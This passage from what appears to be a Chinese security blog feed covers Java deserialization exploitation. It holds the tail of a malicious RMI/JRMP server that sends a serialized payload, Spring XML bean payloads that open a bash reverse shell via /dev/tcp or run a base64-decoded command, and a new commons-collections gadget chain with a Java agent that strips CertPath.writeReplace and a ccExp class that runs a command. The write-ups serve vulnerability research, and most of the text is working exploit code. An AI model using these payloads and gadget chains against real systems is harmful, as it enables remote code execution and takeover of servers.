&#125;</span><br><span class="line"></span><br><span class="line">                        <span class="type">OutputStream</span> <span class="variable">sockOut</span> <span class="operator">=</span> s.getOutputStream();</span><br><span class="line">                        <span class="type">BufferedOutputStream</span> <span class="variable">bufOut</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedOutputStream</span>(sockOut);</span><br><span class="line">                        <span class="type">DataOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DataOutputStream</span>(bufOut);</span><br><span class="line"></span><br><span class="line">                        <span class="type">byte</span> <span class="variable">protocol</span> <span class="operator">=</span> in.readByte();</span><br><span class="line">                        <span class="keyword">switch</span> (protocol) &#123;</span><br><span class="line">                            <span class="keyword">case</span> TransportConstants.StreamProtocol:</span><br><span class="line">                                out.writeByte(TransportConstants.ProtocolAck);</span><br><span class="line">                                <span class="keyword">if</span> (remote.getHostName() != <span class="literal">null</span>) &#123;</span><br><span class="line">                                    out.writeUTF(remote.getHostName());</span><br><span class="line">                                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                                    out.writeUTF(remote.getAddress().toString());</span><br><span class="line">                                &#125;</span><br><span class="line">                                out.writeInt(remote.getPort());</span><br><span class="line">                                out.flush();</span><br><span class="line">                                in.readUTF();</span><br><span class="line">                                in.readInt();</span><br><span class="line">                            <span class="keyword">case</span> TransportConstants.SingleOpProtocol:</span><br><span class="line">                                doMessage(s, in, out, <span class="built_in">this</span>.payloadObject);</span><br><span class="line">                                <span class="keyword">break</span>;</span><br><span class="line">                            <span class="keyword">default</span>:</span><br><span class="line">                            <span class="keyword">case</span> TransportConstants.MultiplexProtocol:</span><br><span class="line">                                System.err.println(<span class="string">&quot;Unsupported protocol&quot;</span>);</span><br><span class="line">                                s.close();</span><br><span class="line">                                <span class="keyword">continue</span>;</span><br><span class="line">                        &#125;</span><br><span class="line"></span><br><span class="line">                        bufOut.flush();</span><br><span class="line">                        out.flush();</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                        <span class="keyword">return</span>;</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                        e.printStackTrace(System.err);</span><br><span class="line">                    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                        System.err.println(<span class="string">&quot;Closing connection&quot;</span>);</span><br><span class="line">                        s.close();</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (s != <span class="literal">null</span>) &#123;</span><br><span class="line">                    s.close();</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">if</span> (<span class="built_in">this</span>.ss != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="built_in">this</span>.ss.close();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (SocketException e) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace(System.err);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">doMessage</span><span class="params">(Socket s, DataInputStream in, DataOutputStream out, Object payload)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        System.err.println(<span class="string">&quot;Reading message...&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> <span class="variable">op</span> <span class="operator">=</span> in.read();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">switch</span> (op) &#123;</span><br><span class="line">            <span class="keyword">case</span> TransportConstants.Call:</span><br><span class="line">                <span class="comment">// service incoming RMI call</span></span><br><span class="line">                doCall(in, out, payload);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> TransportConstants.Ping:</span><br><span class="line">                <span class="comment">// send ack for ping</span></span><br><span class="line">                out.writeByte(TransportConstants.PingAck);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">case</span> TransportConstants.DGCAck:</span><br><span class="line">                <span class="type">UID</span> <span class="variable">u</span> <span class="operator">=</span> UID.read(in);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">&quot;unknown transport op &quot;</span> + op);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        s.close();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">doCall</span><span class="params">(DataInputStream in, DataOutputStream out, Object payload)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(in) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">protected</span> Class&lt;?&gt; resolveClass(ObjectStreamClass desc) <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="string">&quot;[Ljava.rmi.server.ObjID;&quot;</span>.equals(desc.getName())) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ObjID[].class;</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;java.rmi.server.ObjID&quot;</span>.equals(desc.getName())) &#123;</span><br><span class="line">                    <span class="keyword">return</span> ObjID.class;</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;java.rmi.server.UID&quot;</span>.equals(desc.getName())) &#123;</span><br><span class="line">                    <span class="keyword">return</span> UID.class;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">&quot;Not allowed to read object&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        ObjID read;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            read = ObjID.read(ois);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (java.io.IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">MarshalException</span>(<span class="string">&quot;unable to read objID&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (read.hashCode() == <span class="number">2</span>) &#123;</span><br><span class="line">            ois.readInt(); <span class="comment">// method</span></span><br><span class="line">            ois.readLong(); <span class="comment">// hash</span></span><br><span class="line">            System.err.println(<span class="string">&quot;Is DGC call for &quot;</span> + Arrays.toString((ObjID[]) ois.readObject()));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        System.err.println(<span class="string">&quot;Sending return with payload for obj &quot;</span> + read);</span><br><span class="line"></span><br><span class="line">        out.writeByte(TransportConstants.Return);<span class="comment">// transport op</span></span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MarshalOutputStream</span>(out, <span class="built_in">this</span>.classpathUrl);</span><br><span class="line"></span><br><span class="line">        oos.writeByte(TransportConstants.ExceptionalReturn);</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">UID</span>().write(oos);</span><br><span class="line"></span><br><span class="line"><span class="comment">//        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);</span></span><br><span class="line"><span class="comment">//        ReflectTools.setFieldValue(ex, &quot;val&quot;, payload);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//        EventListenerList list2 = new EventListenerList();</span></span><br><span class="line"><span class="comment">//        UndoManager manager = new UndoManager();</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        Vector vector = (Vector) ReflectTools.getFieldValue(manager, &quot;edits&quot;);</span></span><br><span class="line"><span class="comment">//        vector.add(payload);</span></span><br><span class="line"><span class="comment">//        ReflectTools.setFieldValue(list2, &quot;listenerList&quot;, new Object[]&#123;InternalError.class, manager&#125;);</span></span><br><span class="line">        oos.writeObject(payload);</span><br><span class="line"></span><br><span class="line">        oos.flush();</span><br><span class="line">        out.flush();</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.hadConnection = <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">synchronized</span> (<span class="built_in">this</span>.waitLock) &#123;</span><br><span class="line">            <span class="built_in">this</span>.waitLock.notifyAll();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Dummy</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> &#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">1L</span>;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">MarshalOutputStream</span> <span class="keyword">extends</span> <span class="title class_">ObjectOutputStream</span> &#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> URL sendUrl;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">MarshalOutputStream</span><span class="params">(OutputStream out, URL u)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">            <span class="built_in">super</span>(out);</span><br><span class="line">            <span class="built_in">this</span>.sendUrl = u;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        MarshalOutputStream(OutputStream out) <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">            <span class="built_in">super</span>(out);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">annotateClass</span><span class="params">(Class&lt;?&gt; cl)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>.sendUrl != <span class="literal">null</span>) &#123;</span><br><span class="line">                writeObject(<span class="built_in">this</span>.sendUrl.toString());</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!(cl.getClassLoader() <span class="keyword">instanceof</span> URLClassLoader)) &#123;</span><br><span class="line">                writeObject(<span class="literal">null</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();</span><br><span class="line">                <span class="type">String</span> <span class="variable">cb</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> (URL u : us) &#123;</span><br><span class="line">                    cb += u.toString();</span><br><span class="line">                &#125;</span><br><span class="line">                writeObject(cb);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * Serializes a location from which to load the specified class.</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">annotateProxyClass</span><span class="params">(Class&lt;?&gt; cl)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">            annotateClass(cl);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>反弹shell的payload</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span> <span class="attr">xmlns:xsi</span>=<span class="string">&quot;htt</span></span></span><br><span class="line"><span class="string"><span class="tag">p://www.w3.org/2001/XMLSchema-instance&quot;</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.spr</span></span></span><br><span class="line"><span class="string"><span class="tag">ingframework.org/schema/beans http://www.springframework.org/schema/beans/</span></span></span><br><span class="line"><span class="string"><span class="tag">spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">bean</span> <span class="attr">id</span>=<span class="string">&quot;pb&quot;</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.ProcessBuilder&quot;</span> <span class="attr">init-method</span>=<span class="string">&quot;start&quot;</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">list</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">value</span>&gt;</span>/bin/bash<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">value</span>&gt;</span>-c<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">value</span>&gt;</span>&lt;![CDATA[bash -i &gt;&amp; /dev/tcp/xxxxx/7780 &lt;&amp;1]]&gt;<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">list</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> ?&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">       <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;</span></span></span><br><span class="line"><span class="string"><span class="tag">     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">bean</span> <span class="attr">id</span>=<span class="string">&quot;pb&quot;</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.ProcessBuilder&quot;</span> <span class="attr">init-method</span>=<span class="string">&quot;start&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">constructor-arg</span> &gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">list</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">value</span>&gt;</span>bash<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">value</span>&gt;</span>-c<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">value</span>&gt;</span>&#123;echo,Y...E=&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">list</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240425002920.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240422014918.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;jdk1-8，jdk11&quot;&gt;&lt;a href=</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>java反序列化漏洞commons-collections-TransformedList触发transform</title>
    <link href="https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/"/>
    <id>https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/</id>
    <published>2024-04-17T09:11:32.000Z</published>
    <updated>2024-04-27T12:49:59.005Z</updated>
    
    <content type="html"><![CDATA[<p>所用到的类java原生类和common-collections类<br><img src="https://raw.githubusercontent.com/yezere/images/master/cc.jpg"><br>jdk版本是<br>jdk1.8.0_162<br>看到之前师傅总结的cc链子的图，我去使用CodeQL寻找了一下，发现除了Map，List也能触发。<br>我找了一个可以触发到transform的链子，剩下的作用如InvokerTransform触发二次反序列化没有写，这边使用ChainedTransformer做一个例子<br>调用链：<br><img src="https://raw.githubusercontent.com/yezere/images/master/af5bb58c61454b608119166297c1545.png"></p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>eventListener触发CodeSigner的toString方法<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417100346.png"><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240415173408.png"><br>signerCertPath.getCertificates().get(0)<br>这一行代码<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417100444.png"><br>调用了signerCertPath的get(0)<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417100557.png"><br>也就是LazyList的get(0)，由于factory用的是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(chainedTransformer)</span><br></pre></td></tr></table></figure><p>所以object就为chainedTransformer<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417100928.png"><br>进入<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417101043.png"><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417101102.png"><br>最后就进入了InvokerTransform的transform<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240417101133.png"></p><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p>由于CertPath重写了writeReplace导致序列化异常，我使用了agent将其hook掉</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;  </span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;  </span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.ClassFileTransformer;  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.IllegalClassFormatException;  </span><br><span class="line"><span class="keyword">import</span> java.security.ProtectionDomain;  </span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertPath;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RemoveReplaceTransformer</span> <span class="keyword">implements</span> <span class="title class_">ClassFileTransformer</span> &#123;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, <span class="type">byte</span>[] classfileBuffer) <span class="keyword">throws</span> IllegalClassFormatException &#123;  </span><br><span class="line">        <span class="keyword">if</span>(className.equals(<span class="string">&quot;java/security/cert/CertPath&quot;</span>))&#123;  </span><br><span class="line">            <span class="keyword">try</span> &#123;  </span><br><span class="line">                System.out.println(<span class="literal">true</span>);  </span><br><span class="line">                <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();  </span><br><span class="line">                <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.get(<span class="string">&quot;java.security.cert.CertPath&quot;</span>);  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">writeReplace</span> <span class="operator">=</span> ctClass.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);  </span><br><span class="line">                ctClass.removeMethod(writeReplace);  </span><br><span class="line">                ctClass.detach();  </span><br><span class="line">                <span class="keyword">return</span> ctClass.toBytecode();  </span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e)&#123;  </span><br><span class="line">                System.out.println(e);;  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span>  classfileBuffer;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将agent加上</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.web;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantFactory;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.LazyList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.list.TransformedList;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.ListOrderedMap;  </span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;  </span><br><span class="line"><span class="keyword">import</span> sun.security.provider.certpath.X509CertPath;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;  </span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;  </span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;  </span><br><span class="line"><span class="keyword">import</span> java.security.CodeSigner;  </span><br><span class="line"><span class="keyword">import</span> java.util.*;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ccExp</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">  </span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)  </span><br><span class="line">        &#125;;  </span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);  </span><br><span class="line">        ArrayList&lt;Object&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  </span><br><span class="line">        list.add(<span class="literal">null</span>);  </span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate1</span> <span class="operator">=</span> TransformedList.decorate(list, chainedTransformer);  </span><br><span class="line">        <span class="type">List</span> <span class="variable">decorate</span> <span class="operator">=</span> LazyList.decorate(decorate1, <span class="keyword">new</span> <span class="title class_">ConstantFactory</span>(chainedTransformer));  </span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        <span class="type">ListOrderedMap</span> <span class="variable">decorated</span> <span class="operator">=</span> (ListOrderedMap) ListOrderedMap.decorate(map);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);  </span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) field.get((Object) <span class="literal">null</span>);  </span><br><span class="line">        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField(<span class="string">&quot;insertOrder&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">X509CertPath</span> <span class="variable">o</span> <span class="operator">=</span> (X509CertPath) 